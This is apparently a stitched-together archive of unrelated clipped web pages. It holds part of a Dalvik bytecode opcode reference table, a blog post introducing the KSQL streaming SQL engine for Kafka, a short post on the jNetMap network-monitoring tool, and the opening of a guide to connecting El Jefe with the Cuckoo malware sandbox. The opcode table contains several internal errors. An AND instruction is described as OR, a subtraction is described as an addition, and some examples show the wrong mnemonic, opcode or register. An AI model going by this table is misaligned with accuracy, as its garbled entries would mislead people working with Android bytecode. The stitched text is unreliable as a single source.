| Calculates vy/vz and puts the result into vx1.  
| 9E06 0002 - div-long v6, v0, v2  
Divides the long value in v0,v1 with the long value in v2,v3 and pust the
result into v6,v7.  
  
9F  
| rem-long vx,vy,vz  
| Calculates vy % vz and puts the result into vx1.| 9F06 0002 - rem-long v6,
v0, v2  
Calculates v0,v1 % v2,v3 and puts the result into v6,v7.  
A0  
| and-long vx, vy, vz  
| Calculates the vy AND vz and puts the result into vx1.| A006 0002 - and-long
v6, v0, v2  
Calculates v0,v1 AND v2,v3 and puts the result into v6,v7.  
  
A1  
| or-long vx, vy, vz  
| Calculates the vy OR vz and puts the result into vx1.  
| A106 0002 - or-long v6, v0, v2  
Calculates v0,v1 OR v2,v3 and puts the result into v6,v7.  
  
A2  
| xor-long vx, vy, vz  
| Calculates the vy XOR vz and puts the result into vx1.| A206 0002 - xor-long
v6, v0, v2  
Calculates v0,v1 XOR v2,v3 and puts the result into v6,v7.  
  
A3  
| shl-long vx, vy, vz  
| Shifts left vy by vz positions and stores the result in vx1.| A302 0004 -
shl-long v2, v0, v4  
Shift v0,v1 by postions specified by v4 and puts the result into v2,v3.  
  
A4  
| shr-long vx,vy,vz  
| Shifts right vy by vz positions and stores the result in vx1.  
| A402 0004 - shr-long v2, v0, v4  
Shift v0,v1 by postions specified by v4 and puts the result into v2,v3.  
  
A5  
| ushr-long vx, vy, vz  
| Unsigned shifts right vy by vz positions and stores the result in vx1.| A502
0004 - ushr-long v2, v0, v4  
Unsigned shift v0,v1 by postions specified by v4 and puts the result into
v2,v3.  
  
A6  
| add-float vx,vy,vz  
| Adds vy to vz and puts the result into vx.  
| A600 0203 - add-float v0, v2, v3  
Adds the floating point numbers in v2 and v3 and puts the result into v0.  
  
A7  
| sub-float vx,vy,vz  
| Calculates vy-vz and puts the result into vx.| A700 0203 - sub-float v0, v2,
v3  
Calculates v2-v3 and puts the result into v0.  
A8  
| mul-float vx, vy, vz  
| Multiplies vy with vz and puts the result into vx.  
| A803 0001 - mul-float v3, v0, v1  
Multiplies v0 with v1 and puts the result into v3.  
  
A9  
| div-float vx, vy, vz  
| Calculates vy/vz and puts the result into vx.  
| A903 0001 - div-float v3, v0, v1  
Divides v0 with v1 and puts the result into v3.  
  
AA  
| rem-float vx,vy,vz  
| Calculates vy % vz and puts the result into vx.| AA03 0001 - rem-float v3,
v0, v1  
Calculates v0 % v1 and puts the result into v3.  
AB  
| add-double vx,vy,vz  
| Adds vy to vz and puts the result into vx1.  
| AB00 0305 - add-double v0, v3, v5  
Adds the double value in v5,v6 registers to the double value in v3,v4
registers and places the result in v0,v1 registers.  
  
AC  
| sub-double vx,vy,vz  
| Calculates vy-vz and puts the result into vx1.  
| AC00 0305 - sub-double v0, v3, v5  
Subtracts the value in v5,v6 from the value in v3,v4 and puts the result into
v0,v1.  
  
AD  
| mul-double vx, vy, vz  
| Multiplies vy with vz and puts the result into vx1.  
| AD06 0002 - mul-double v6, v0, v2  
Multiplies the double value in v0,v1 with the double value in v2,v3 and puts
the result into v6,v7.  
  
AE  
| div-double vx, vy, vz  
| Calculates vy/vz and puts the result into vx1.  
| AE06 0002 - div-double v6, v0, v2  
Divides the double value in v0,v1 with the double value in v2,v3 and puts the
result into v6,v7.  
  
AF  
| rem-double vx,vy,vz  
| Calculates vy % vz and puts the result into vx1.| AF06 0002 - rem-double v6,
v0, v2  
Calculates v0,v1 % v2,v3 and puts the result into v6,v7.  
B0  
| add-int/2addr vx,vy  
| Adds vy to vx.  
| B010 - add-int/2addr v0,v1  
Adds v1 to v0.  
  
B1  
| sub-int/2addr vx,vy  
| Calculates vx-vy and puts the result into vx.  
| B140 - sub-int/2addr v0, v4  
Subtracts v4 from v0 and puts the result into v0.  
  
B2  
| mul-int/2addr vx,vy  
| Multiplies vx with vy.  
| B210 - mul-int/2addr v0, v1  
Multiples v0 with v1 and puts the result into v0.  
  
B3  
| div-int/2addr vx,vy  
| Divides vx with vy and puts the result into vx.  
| B310 - div-int/2addr v0, v1  
Divides v0 with v1 and puts the result into v0.  
  
B4  
| rem-int/2addr vx,vy  
| Calculates vx % vy and puts the result into vx| B410 - rem-int/2addr v0, v1  
Calculates v0 % v1 and puts the result into v0.  
B5  
| and-int/2addr vx, vy  
| Calculates vx AND vy and puts the result into vx.  
| B510 - and-int/2addr v0, v1  
Calculates v0 AND v1 and puts the result into v0.  
  
B6  
| or-int/2addr vx, vy  
| Calculates vx OR vy and puts the result into vx.  
| B610 - or-int/2addr v0, v1  
Calculates v0 OR v1 and puts the result into v0.  
  
B7  
| xor-int/2addr vx, vy  
| Calculates vx XOR vy and puts the result into vx.| B710 - xor-int/2addr v0,
v1  
Calculates v0 XOR v1 and puts the result into v0.  
  
B8  
| shl-int/2addr vx, vy  
| Shifts vx left by vy positions.  
| B810 - shl-int/2addr v0, v1  
Shift v0 left by v1 positions.  
  
B9  
| shr-int/2addr vx, vy  
| Shifts vx right by vy positions.  
| B910 - shr-int/2addr v0, v1  
Shift v0 right by v1 positions.  
  
BA  
| ushr-int/2addr vx, vy  
| Unsigned shift right \(>>>\) vx by the positions specified by vy.  
| BA10 - ushr-int/2addr v0, v1  
Unsigned shift v0 by the positions specified by v1.  
  
BB  
| add-long/2addr vx,vy  
| Adds vy to vx1.  
| BB20 - add-long/2addr v0, v2  
Adds the long value in v2,v3 registers to the long value in v0,v1 registers.  
  
BC  
| sub-long/2addr vx,vy  
| Calculates vx-vy and puts the result into vx1.  
| BC70 - sub-long/2addr v0, v7  
Subtracts the long value in v7,v8 from the long value in v0,v1 and puts the
result into v0,v1.  
  
BD  
| mul-long/2addr vx,vy  
| Calculates vx\*vy and puts the result into vx1.| BD70 - mul-long/2addr v0,
v7  
Multiplies the long value in v7,v8 with the long value in v0,v1 and puts the
result into v0,v1.  
BE  
| div-long/2addr vx, vy  
| Calculates vx/vy and puts the result into vx1.  
| BE20 - div-long/2addr v0, v2  
Divides the long value in v0,v1 with the long value in v2,v3 and puts the
result into v0,v1  
  
BF  
| rem-long/2addr vx,vy  
| Calculates vx % vy and puts the result into vx1.| BF20 - rem-long/2addr v0,
v2  
Calculates v0,v1 % v2,v3 and puts the result into v0,v1  
C0  
| and-long/2addr vx, vy  
| Calculates vx AND vy and puts the result into vx1.| C020 - and-long/2addr
v0, v2  
Calculates v0,v1 OR v2,v3 and puts the result into v0,v1.  
  
C1  
| or-long/2addr vx, vy  
| Calculates vx OR vy and puts the result into vx1.  
| C120 - or-long/2addr v0, v2  
Calculates v0,v1 OR v2,v3 and puts the result into v0,v1.  
  
C2  
| xor-long/2addr vx, vy  
| Calculates vx XOR vy and puts the result into vx1.| C220 - xor-long/2addr
v0, v2  
Calculates v0,v1 XOR v2,v3 and puts the result into v0,v1.  
  
C3  
| shl-long/2addr vx, vy  
| Shifts left the value in vx,vx+1 by the positions specified by vy and stores
the result in vx,vx+1.  
| C320 - shl-long/2addr v0, v2  
Shifts left v0,v1 by the positions specified by v2.  
  
C4  
| shr-long/2addr vx, vy  
| Shifts right the value in vx,vx+1 by the positions specified by vy and
stores the result in vx,vx+1.| C420 - shr-long/2addr v0, v2  
Shifts right v0,v1 by the positions specified by v2.  
  
C5  
| ushr-long/2addr vx, vy  
| Unsigned shifts right the value in vx,vx+1 by the positions specified by vy
and stores the result in vx,vx+1.| C520 - ushr-long/2addr v0, v2  
Unsigned shifts right v0,v1 by the positions specified by v2.  
  
C6  
| add-float/2addr vx,vy  
| Adds vy to vx.  
| C640 - add-float/2addr v0,v4  
Adds v4 to v0.  
  
C7  
| sub-float/2addr vx,vy  
| Calculates vx-vy and stores the result in vx.| C740 - sub-float/2addr v0,v4  
Adds v4 to v0.  
C8  
| mul-float/2addr vx, vy  
| Multiplies vx with vy.  
| C810 - mul-float/2addr v0, v1  
Multiplies v0 with v1.  
  
C9  
| div-float/2addr vx, vy  
| Calculates vx/vy and puts the result into vx.  
| C910 - div-float/2addr v0, v1  
Divides v0 with v1 and puts the result into v0.  
  
CA  
| rem-float/2addr vx,vy  
| Calculates vx/vy and puts the result into vx.| CA10 - rem-float/2addr v0, v1  
Calculates v0 % v1 and puts the result into v0.  
CB  
| add-double/2addr vx, vy  
| Adds vy to vx1.  
| CB70 - add-double/2addr v0, v7  
Adds v7 to v0.  
  
CC  
| sub-double/2addr vx, vy  
| Calculates vx-vy and puts the result into vx1.  
| CC70 - sub-double/2addr v0, v7  
Subtracts the value in v7,v8 from the value in v0,v1 and puts the result into
v0,v1.  
  
CD  
| mul-double/2addr vx, vy  
| Multiplies vx with vy1.  
| CD20 - mul-double/2addr v0, v2  
Multiplies the double value in v0,v1 with the double value in v2,v3 and puts
the result into v0,v1.  
  
CE  
| div-double/2addr vx, vy  
| Calculates vx/vy and puts the result into vx1.  
| CE20 - div-double/2addr v0, v2  
Divides the double value in v0,v1 with the double value in v2,v3 and puts the
value into v0,v1.  
  
CF  
| rem-double/2addr vx,vy  
| Calculates vx % vy and puts the result into vx1.| CF20 - rem-double/2addr
v0, v2  
Calculates v0,v1 % v2,v3 and puts the value into v0,v1.  
D0  
| add-int/lit16 vx,vy,lit16  
| Adds vy to lit16 and stores the result into vx.  
| D001 D204 - add-int/lit16 v1, v0, \#int 1234 // \#04d2  
Adds v0 to literal 1234 and stores the result into v1.  
  
D1  
| sub-int/lit16 vx,vy,lit16  
| Calculates vy - lit16 and stores the result into vx.  
| D101 D204 - sub-int/lit16 v1, v0, \#int 1234 // \#04d2  
Calculates v0 - literal 1234 and stores the result into v1.  
  
D2  
| mul-int/lit16 vx,vy,lit16  
| Calculates vy \* lit16 and stores the result into vx.| D201 D204 - mul-
int/lit16 v1, v0, \#int 1234 // \#04d2  
Calculates v0 \* literal 1234 and stores the result into v1.  
D3  
| div-int/lit16 vx,vy,lit16  
| Calculates vy / lit16 and stores the result into vx.| D301 D204 - div-
int/lit16 v1, v0, \#int 1234 // \#04d2  
Calculates v0 / literal 1234 and stores the result into v1.  
D4  
| rem-int/lit16 vx,vy,lit16  
| Calculates vy % lit16 and stores the result into vx.| D401 D204 - rem-
int/lit16 v1, v0, \#int 1234 // \#04d2  
Calculates v0 % literal 1234 and stores the result into v1.  
D5  
| and-int/lit16 vx,vy,lit16  
| Calculates vy AND lit16 and stores the result into vx.| D501 D204 - and-
int/lit16 v1, v0, \#int 1234 // \#04d2  
Calculates v0 AND literal 1234 and stores the result into v1.  
D6  
| or-int/lit16 vx,vy,lit16  
| Calculates vy OR lit16 and stores the result into vx.| D601 D204 - or-
int/lit16 v1, v0, \#int 1234 // \#04d2  
Calculates v0 OR literal 1234 and stores the result into v1.  
D7  
| xor-int/lit16 vx,vy,lit16  
| Calculates vy XOR lit16 and stores the result into vx.| D701 D204 - xor-
int/lit16 v1, v0, \#int 1234 // \#04d2  
Calculates v0 XOR literal 1234 and stores the result into v1.  
D8  
| add-int/lit8 vx,vy,lit8  
| Adds vy to lit8 and stores the result into vx.  
| D800 0201 - add-int/lit8 v0,v2, \#int1  
Adds literal 1 to v2 and stores the result into v0.  
  
D9  
| sub-int/lit8 vx,vy,lit8  
| Calculates vy-lit8 and stores the result into vx.| D900 0201 - sub-int/lit8
v0,v2, \#int1  
Calculates v2-1 and stores the result into v0.  
DA  
| mul-int/lit-8 vx,vy,lit8  
| Multiplies vy with lit8 8-bit literal constant and puts the result into vx.  
| DA00 0002 - mul-int/lit8 v0,v0, \#int2  
Multiplies v0 with literal 2 and puts the result into v0.  
  
DB  
| div-int/lit8 vx,vy,lit8  
| Calculates vy/lit8 and stores the result into vx.| DB00 0203 - mul-int/lit8
v0,v2, \#int3  
Calculates v2/3 and stores the result into v0.  
DC  
| rem-int/lit8 vx,vy,lit8  
| Calculates vy % lit8 and stores the result into vx.| DC00 0203 - rem-
int/lit8 v0,v2, \#int3  
Calculates v2 % 3 and stores the result into v0.  
DD  
| and-int/lit8 vx,vy,lit8  
| Calculates vy AND lit8 and stores the result into vx.| DD00 0203 - and-
int/lit8 v0,v2, \#int3  
Calculates v2 AND 3 and stores the result into v0.  
DE  
| or-int/lit8 vx, vy, lit8  
| Calculates vy OR lit8 and puts the result into vx.  
| DE00 0203 - or-int/lit8 v0, v2, \#int 3  
Calculates v2 OR literal 3 and puts the result into v0.  
  
DF  
| xor-int/lit8 vx, vy, lit8  
| Calculates vy XOR lit8 and puts the result into vx.| DF00 0203 | 0008: xor-int/lit8 v0, v2, \#int 3  
Calculates v2 XOR literal 3 and puts the result into v0.  
  
E0  
| shl-int/lit8 vx, vy, lit8  
| Shift v0 left by the bit positions specified by the literal constant and put
the result into vx.| E001 0001 - shl-int/lit8 v1, v0, \#int 1  
Shift v0 left by 1 position and put the result into v1.  
  
E1  
| shr-int/lit8 vx, vy, lit8  
| Shift v0 right by the bit positions specified by the literal constant and
put the result into vx.  
| E101 0001 - shr-int/lit8 v1, v0, \#int 1  
Shift v0 right by 1 position and put the result into v1.  
  
E2  
| ushr-int/lit8 vx, vy, lit8  
| Unsigned right shift of v0 \(>>>\) by the bit positions specified by the
literal constant and put the result into vx.| E201 0001 - ushr-int/lit8 v1,
v0, \#int 1  
Unsigned shift v0 right by 1 position and put the result into v1.  
  
E3  
| unused\_E3  
|  
|  
  
E4  
| unused\_E4  
|  
|  
  
E5  
| unused\_E5  
|  
|  
  
E6  
| unused\_E6  
|  
|  
  
E7  
| unused\_E7  
|  
|  
  
E8  
| unused\_E8  
|  
|  
  
E9  
| unused\_E9  
|  
|  
  
EA  
| unused\_EA  
|  
|  
  
EB  
| unused\_EB  
|  
|  
  
EC  
| unused\_EC  
|  
|  
  
ED  
| unused\_ED  
|  
|  
  
EE  
| execute-inline \{parameters\},inline ID  
| Executes the inline method identified by inline ID6.  
| EE20 0300 0100 - execute-inline \{v1, v0\}, inline \#0003  
Executes inline method \#3 using v1 as "this" and passing one parameter in v0.  
  
EF  
| unused\_EF  
|  
|  
  
F0  
| invoke-direct-empty  
| Stands as a placeholder for pruned empty methods like Object.<init>. This
acts as nop during normal execution6.  
| F010 F608 0000 - invoke-direct-empty \{v0\}, Ljava/lang/Object;.<init>:\(\)V
// method@08f6  
Replacement for the empty method java/lang/Object;<init>.  
  
F1  
| unused\_F1  
|  
|  
  
F2  
| iget-quick vx,vy,offset  
| Gets the value stored at offset in vy instance's data area to vx6.| F221
1000 - iget-quick v1, v2, \[obj+0010\]  
Gets the value at offset 0CH of the instance pointed by v2 and stores the
object reference in v1.  
  
F3  
| iget-wide-quick vx,vy,offset  
| Gets the object reference value stored at offset in vy instance's data area
to vx,vx+16.| F364 3001 - iget-wide-quick v4, v6, \[obj+0130\]  
Gets the value at offset 130H of the instance pointed by v6 and stores the
object reference in v4,v5.  
  
F4  
| iget-object-quick vx,vy,offset  
| Gets the object reference value stored at offset in vy instance's data area
to vx6.  
| F431 0C00 - iget-object-quick v1, v3, \[obj+000c\]  
Gets the object reference value at offset 0CH of the instance pointed by v3
and stores the object reference in v1.  
  
F5  
| iput-quick vx,vy,offset  
| Puts the value stored in vx to offset in vy instance's data area6.| F521
1000 - iput-quick v1, v2, \[obj+0010\]  
Puts the object reference value in v1 to offset 10H of the instance pointed by
v2.  
  
F6  
| iput-wide-quick vx,vy,offset  
| Puts the value stored in vx,vx+1 to offset in vy instance's data area6.|
F652 7001 - iput-wide-quick v2, v5, \[obj+0170\]  
Puts the value in v2,v3 to offset 170H of the instance pointed by v5.  
  
F7  
| iput-object-quick vx,vy,offset  
| Puts the object reference value stored in vx to offset in vy instance's data
area to vx6.| F701 4C00 - iput-object-quick v1, v0, \[obj+004c\]  
Puts the object reference value in v1 to offset 0CH of the instance pointed by
v3.  
  
F8  
| invoke-virtual-quick \{parameters\},vtable offset  
| Invokes a virtual method using the vtable of the target object6.  
| F820 B800 CF00 - invoke-virtual-quick \{v15, v12\}, vtable \#00b8  
Invokes a virtual method. The target object instance is pointed by v15 and
vtable entry \#B8 points to the method to be called. v12 is a parameter to the
method call.  
  
F9  
| invoke-virtual-quick/range \{parameter range\},vtable offset  
| Invokes a virtual method using the vtable of the target object6| F906 1800
0000 - invoke-virtual-quick/range \{v0..v5\},vtable \#0018  
Invokes a method using the vtable of the instance pointed by v0. v1..v5
registers are parameters to the method call.  
  
FA  
| invoke-super-quick \{parameters\},vtable offset  
| Invokes a virtual method in the target object's immediate parent class using
the vtable of that parent class6.| FA40 8100 3254 - invoke-super-quick \{v2,
v3, v4, v5\}, vtable \#0081  
Invokes a method using the vtable of the immediate parent class of instance
pointed by v2. v3, v4 and v5 registers are parameters to the method call.  
  
FB  
| invoke-super-quick/range \{register range\},vtable offset  
| Invokes a virtual method in the target object's immediate parent class using
the vtable of that parent class6.  
| F906 1B00 0000 - invoke-super-quick/range \{v0..v5\}, vtable \#001b  
Invokes a method using the vtable of the immediate parent class of instance
pointed by v0. v1..v5 registers are parameters to the method call.  
  
FC  
| unused\_FC  
|  
|  
  
FD  
| unused\_FD  
|  
|  
  
FE  
| unused\_FE  
|  
|  
  
FF  
| unused\_FF  
|  
|  
  
  
  

  1. Note that double and long values occupy two registers \(e.g. the value addressed by vy is located in vy and vy+1 registers\)
  2. The offset can be positive or negative and it is calculated from the offset of the starting byte of the instruction. The offset is always interpreted in words \(2 bytes per 1 offset value increment/decrement\). Negative offset is stored in two's complement format. The current position is the offset of the starting byte of the instruction.
  3. Compare operations returrn positive value if the first operand is greater than the second operand, 0 if they are equal and negative value if the first operand is smaller than the second operand.
  4. Not seen in the wild, interpolated from Dalvik bytecode list.
  5. The invocation parameter list encoding is somewhat weird. Starting if parameter number > 4 and parameter number % 4 == 1, the 5th \(9th, etc.\) parameter is encoded on the 4 lowest bit of the byte immediately following the instruction. Curiously, this encoding is not used in case of 1 parameter, in this case an entire 16 bit word is added after the method index of which only 4 bit is used to encode the single parameter while the lowest 4 bit of the byte following the instruction byte is left unused.
  6. This is an unsafe instruction and occurs only in ODEX files.  

# Introducing KSQL: Open Source Streaming SQL for Apache Kafka

**Created:**| _9/4/2017 9:18:37 AM_  
---|---  
**Updated:**| _9/4/2017 9:18:37 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Apache Kafka

# Introducing KSQL: Open Source Streaming SQL for Apache Kafka

<img src='img/Temp2_4517.jpg' width='117' height='117' alt='Neha Narkhede'
/>Neha Narkhede August 28, 2017

I’m really excited to announce KSQL, a streaming SQL engine for Apache
KafkaTM. KSQL lowers the entry bar to the world of stream processing,
providing a simple and completely interactive SQL interface for processing
data in Kafka. You no longer need to write code in a programming language such
as Java or Python\! KSQL is open-source \(Apache 2.0 licensed\), distributed,
scalable, reliable, and real-time. It supports a wide range of powerful stream
processing operations including aggregations, joins, windowing,
sessionization, and much more.

### **A Simple Example**

### <img src='img/Temp2_4519.jpg' width='700' height='223' alt='ksql-query-1'
/>

###

### **What does it even mean to query streaming data, and how does this
compare to a SQL database?**

Well, it’s actually quite different to a SQL database. Most databases are used
for doing on-demand lookups and modifications to stored data. KSQL doesn’t do
lookups \(yet\), what it does do is continuous transformations— that is,
stream processing. For example, imagine that I have a stream of clicks from
users and a table of account information about those users being continuously
updated. KSQL allows me to model this stream of clicks, and table of users,
and join the two together. Even though one of those two things is infinite.

So what KSQL runs are _continuous queries_ — transformations that run
continuously as new data passes through them — on streams of data in Kafka
topics. In contrast, queries over a relational database are _one-time queries
—_ run once to completion over a data set _—_ as in a SELECT statement on
finite rows in a database.  

### **What is KSQL Good For?**

Great, so you can continuously query infinite streams of data. What is that
good for?

**1\. Real-time monitoring meets real-time analytics**

[code]

    CREATE TABLE error_counts AS
    SELECT error_code, count(*)FROM monitoring_stream
    WINDOW TUMBLING (SIZE 1 MINUTE)
    WHERE type = 'ERROR'
[/code]

  
One use of this is defining custom business-level metrics that are computed in
real-time and that you can monitor and alert off of, just like you do your CPU
load. Another use is to define a notion of correctness for your application in
KSQL and check that it is meeting this as it runs in production. Often when we
think of monitoring we think about counters and gauges tracking low level
performance statistics. These kinds of gauge often can tell you that your CPU
load is high, but they can’t really tell you if your application is doing what
it’s supposed to do. KSQL allows defining custom metrics off of streams of raw
events that applications generate, whether they are logging events, database
updates, or any other kind.

For example, a web app might need to check that every time a new customer
signs up a welcome email is sent, a new user record is created, and their
credit card is billed. These functions might be spread over different services
or applications and you would want to monitor that each thing happened for
each new customer within some SLA, like 30 secs.

**2\. Security and anomaly detection**

[code]

    CREATE STREAM possible_fraud AS
    SELECT card_number, count(*)
    FROM authorization_attempts
    WINDOW TUMBLING (SIZE 5 SECONDS)
    GROUP BY card_number
    HAVING count(*) > 3;
[/code]

  
A simple version of this is what you saw in the demo above: KSQL queries that
transform event streams into numerical time series aggregates that are pumped
into Elastic using the Kafka-Elastic connector and visualized in a Grafana UI.
Security use cases often look a lot like monitoring and analytics. Rather than
monitoring application behavior or business behavior you’re looking for
patterns of fraud, abuse, spam, intrusion, or other bad behavior. KSQL gives a
simple, sophisticated, and real-time way of defining these patterns and
querying real-time streams.

**3\. Online data integration**

[code]

    CREATE STREAM vip_users AS
    SELECT userid, page, action 
    FROM clickstream c 
    LEFT JOIN users u ON c.userid = u.user_id
    WHERE u.level = 'Platinum';
[/code]

  
Much of the data processing done in companies falls in the domain of data
enrichment: take data coming out of several databases, transform it, join it
together, and store it into a key-value store, search index, cache, or other
data serving system. For a long time, ETL — Extract, Transform, and Load — for
data integration was performed as periodic batch jobs. For example, dump the
raw data in real time, and then transform it every few hours to enable
efficient queries. For many use cases, this delay is unacceptable. KSQL, when
used with Kafka connectors, enables a move from batch data integration to
online data integration. You can enrich streams of data with metadata stored
in tables using stream-table joins, or do simple filtering of PII \(personally
identifiable information\) data before loading the stream into another system.

**4\. Application Development**

Many applications transform an input stream into an output stream. For
example, a process responsible for reordering products that are running low in
inventory for an online store might feed off a stream of sales and shipments
to compute a stream of orders to place.

For more complex applications written in Java, Kafka’s native streams API may
be just the thing. But for simple apps, or teams not interested in Java
programming a simple SQL interface may be what they’re looking for.

### **Core Abstractions in KSQL**

KSQL uses Kafka’s Streams API internally and they share the same core
abstractions for stream processing on Kafka. There are two core abstractions
in KSQL that map to the two core abstractions in Kafka Streams and allow you
to manipulate Kafka topics:

**1\. STREAM:** A stream is an unbounded sequence of structured data
\(“facts”\). For example, we could have a stream of financial transactions
such as “Alice sent $100 to Bob, then Charlie sent $50 to Bob”. Facts in a
stream are immutable, which means new facts can be inserted to a stream, but
existing facts can never be updated or deleted. Streams can be created from a
Kafka topic or derived from existing streams and tables.

[code]

    CREATE STREAM pageviews (viewtime BIGINT, userid VARCHAR, pageid VARCHAR) 
    WITH (kafka_topic='pageviews', value_format=’JSON’);
[/code]

  
**2\. TABLE:** A table is a view of a STREAM or another TABLE and represents a
collection of evolving facts. For example, we could have a table that contains
the latest financial information such as “Bob’s current account balance is
$150”. It is the equivalent of a traditional database table but enriched by
streaming semantics such as windowing. Facts in a table are mutable, which
means new facts can be inserted to the table, and existing facts can be
updated or deleted. Tables can be created from a Kafka topic or derived from
existing streams and tables.

[code]

    CREATE TABLE users (registertime BIGINT, gender VARCHAR, regionid VARCHAR, userid  VARCHAR) 
    WITH (kafka_topic='users', value_format='DELIMITED');
[/code]

  
KSQL simplifies streaming applications as it fully integrates the concepts of
_tables_ and _streams,_ allowing joining tables that represent the current
state of the world with streams that represent events that are happening right
now. A topic in Apache Kafka can be represented as either a STREAM or a TABLE
in KSQL, depending on the intended semantics of the processing on the topic.
For instance, if you want to read the data in a topic as a series of
independent values, you would use CREATE STREAM. An example of such a stream
is a topic that captures page view events where each page view event is
unrelated and independent of another. If, on the other hand, you want to read
the data in a topic as an evolving collection of updatable values, you’d use
CREATE TABLE. An example of a topic that should be read as a TABLE in KSQL is
one that captures user metadata where each event represents latest metadata
for a particular user id, be it user’s name, address or preferences.

### **KSQL in Action: Real-time clickstream analytics and anomaly detection**

Let’s get down to a real demo. This demo shows how you can use KSQL for real-
time monitoring, anomaly detection, and alerting. Real-time log analytics on
clickstream data can take several forms. In this example, we flag malicious
user sessions that are consuming too much bandwidth on our web servers.
Monitoring malicious user sessions is one of many applications of
sessionization. But broadly, sessions are the building blocks of user behavior
analysis. Once you’ve associated users and events to a particular session
identifier, you can build out many types of analyses, ranging from simple
metrics, such as count of visits, to more complex metrics, such as customer
conversion funnels and event flows. We end this demo by showing how you can
visualize the output of KSQL queries continuously in real-time on a Grafana
dashboard backed by Elastic.

You can also follow our instructions to step through the demo yourself and see
the code, too.

### **A Look Inside**

<img src='img/Temp2_4515.jpg' width='363' height='350' alt='ksql cluster'
/>There is a KSQL server process which executes queries. A set of KSQL
processes run as a cluster. You can dynamically add more processing capacity
by starting more instances of the KSQL server. These instances are fault-
tolerant: if one fails, the others will take over its work. Queries are
launched using the interactive KSQL command line client which sends commands
to the cluster over a REST API. The command line allows you to inspect the
available streams and tables, issue new queries, check the status of and
terminate running queries. Internally KSQL is built using Kafka’s Streams API;
it inherits its elastic scalability, advanced state management, and fault
tolerance, and support for Kafka’s recently introduced exactly-once processing
semantics. The KSQL server embeds this and adds on top a distributed SQL
engine \(including some fancy stuff like automatic byte code generation for
query performance\) and a REST API for queries and control.

###

### **  
Kafka + KSQL****turn the database inside out**

We’ve talked in the past about turning the database inside out, now we’re
making it real by adding a SQL layer to our inside-out DB.

In a relational database, the table is the core abstraction and the log is an
implementation detail. In an event-centric world with the database is turned
inside out, the core abstraction is not the table; it is the log. The tables
are merely derived from the log and updated continuously as new data arrives
in the log. The central log is Kafka and KSQL is the engine that allows you to
create the desired materialized views and represent them as continuously
updated tables. You can then run point-in-time queries \(coming soon in KSQL\)
against such streaming tables to get the latest value for every key in the
log, in an ongoing fashion.

<img src='img/Temp2_4518.jpg' width='647' height='288' />

Turning the database inside out with Kafka and KSQL has a big impact on what
is now possible with all the data in a company that can naturally be
represented and processed in a streaming fashion. The Kafka log is the core
storage abstraction for streaming data, allowing same data that went into your
offline data warehouse is to now be available for stream processing.
Everything else is a streaming materialized view over the log, be it various
databases, search indexes, or other data serving systems in the company. All
data enrichment and ETL needed to create these derived views can now be done
in a streaming fashion using KSQL. Monitoring, security, anomaly and threat
detection, analytics, and response to failures can be done in real-time versus
when it is too late. All this is available for just about anyone to use
through a simple and familiar SQL interface to all your Kafka data: KSQL.

<img src='img/Temp2_4516.jpg' width='600' height='334' />

### **What’s Next for KSQL?**

We are releasing KSQL as a developer preview to start building the community
around it and gathering feedback. We plan to add several more capabilities as
we work with the open source community to turn it into a production-ready
system from quality, stability, and operability of KSQL to supporting a richer
SQL grammar including further aggregation functions and point-in-time SELECT
on continuous tables–i.e., to enable quick lookups against what’s computed so
far in addition to the current functionality of continuously computing results
off of a stream.

### **How Do I Get KSQL?**

You can get your hands dirty by playing with the KSQL quickstart and the
aforementioned demo. We’d love to hear about anything you think is missing or
ways it can be improved: chime in on the **\#****KSQL channel** on the
Confluent Community Slack with any thoughts or feedback, and file a GitHub
issue if you spot a bug; we’d love to work really closely with early adopters
kicking the tires so don’t be shy. We look forward to collaborating with the
rest of the open source community to evolve KSQL into something fantastic.

Join our online talk on September 21 to learn how to build real-time streaming
applications with KSQL.

Finally, if you’re interested in stream processing and want to help build
KSQL, Confluent is hiring <img src='img/5852_1f642.svg' width='18' height='18'
alt='🙂' />

## Did you like this blog post? Share it now

__

1.1k

 __

288

 __

2.0k

  

# jNetMap - which printer is still on? | rakudave.ch
**Created:**| _5/21/2009 1:25:41 PM_  
---|---  
**Updated:**| _9/18/2009 10:20:41 AM_  
**Author:**| __  
**Tags:**| _security tools Java visualization_  
  

## jNetMap - which printer is still on?

Submitted by rakudave on 13. May 2009 - 11:23  
---  
I'm happy to \(finally\) present a new tool: jNetMap

NetMap will "ping" all registered devices every x minutes, updating it's
status according to the result of the ping. Available devices are green,
unavailable devices are red. Grey means "unknown" and orange "not found".  
<img src='img/Temp2_10408.png' />  
To start drawing a new map, select "add", enter the details and hit enter. You
can connect the devices by right-clicking on a device and selecting "connect".
The rest is pretty self-explanatory I guess...  
You can also save and open existing maps so you don't have to redraw
everything ^^

## » Download

| executable .jar file  
---|---  
**» get the source** **code**|  zip containing source and images

# Immunity Products: Connecting El Jefe 2.0 with the Cuckoo malware sandbox

**Created:**| _5/12/2014 2:02:51 PM_  
---|---  
**Updated:**| _5/12/2014 2:02:51 PM_  
**Author:**| __  
**Tags:**| _research vulnerability sandboxing_  
  

# Connecting El Jefe 2.0 with the Cuckoo malware sandbox

<img src='img/Temp2_4366.png' />

One of the great new features in ElJefe May release is the integration of the
Cuckoo malware analysis system as part of our interface. Cuckoo runs the
malware executable in a sandboxed environment inside a virtual machine and
produces amazing data, which we display in the El Jefe interface for you.
However, configuring it is not a trivial task. That's why we put together a
little blogpost to make our users happier. Always thinking about our El Jefe
users, is our motto\!

We are going to setup the host machine and the guest machine. The last one is
where we are going to run the malicious files.

The following commands will install the necessary files:

[code]

      $ sudo apt-get install python python-sqlalchemy python-bson python-pip libcap2-bin
      $ sudo pip install sqlalchemy bson Django
[/code]

You also need to install mongodb. You can download the necessary files from
http://www.mongodb.org/downloads.

When Cuckoo is analyzing a submitted files there are some modules and
libraries we can install to get better and more complete analysis and reports.
These modules are optional but their installation is highly recommended.

A list of the these packages can be found at:
http://docs.cuckoosandbox.org/en/latest/installation/host/requirements/\#installing-
python-libraries

We are using setcap to give privileges to tcpdump to run as root without
having to run Cuckoo as root.

[code]

      $ sudo setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
[/code]

We can check the results with:

[code]

      $ getcap /usr/sbin/tcpdump
      /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip
[/code]

You will need to create a new user, you can do that with the following
command:

[code]

      $ sudo adduser cuckoo
[/code]

You can download Cuckoo from http://www.cuckoosandbox.org/download.html. You
will need to copy the Cuckoo folder into the El Jefe root folder. You should
see a directory listing like this:

client cuckoo dependencies installer webapp

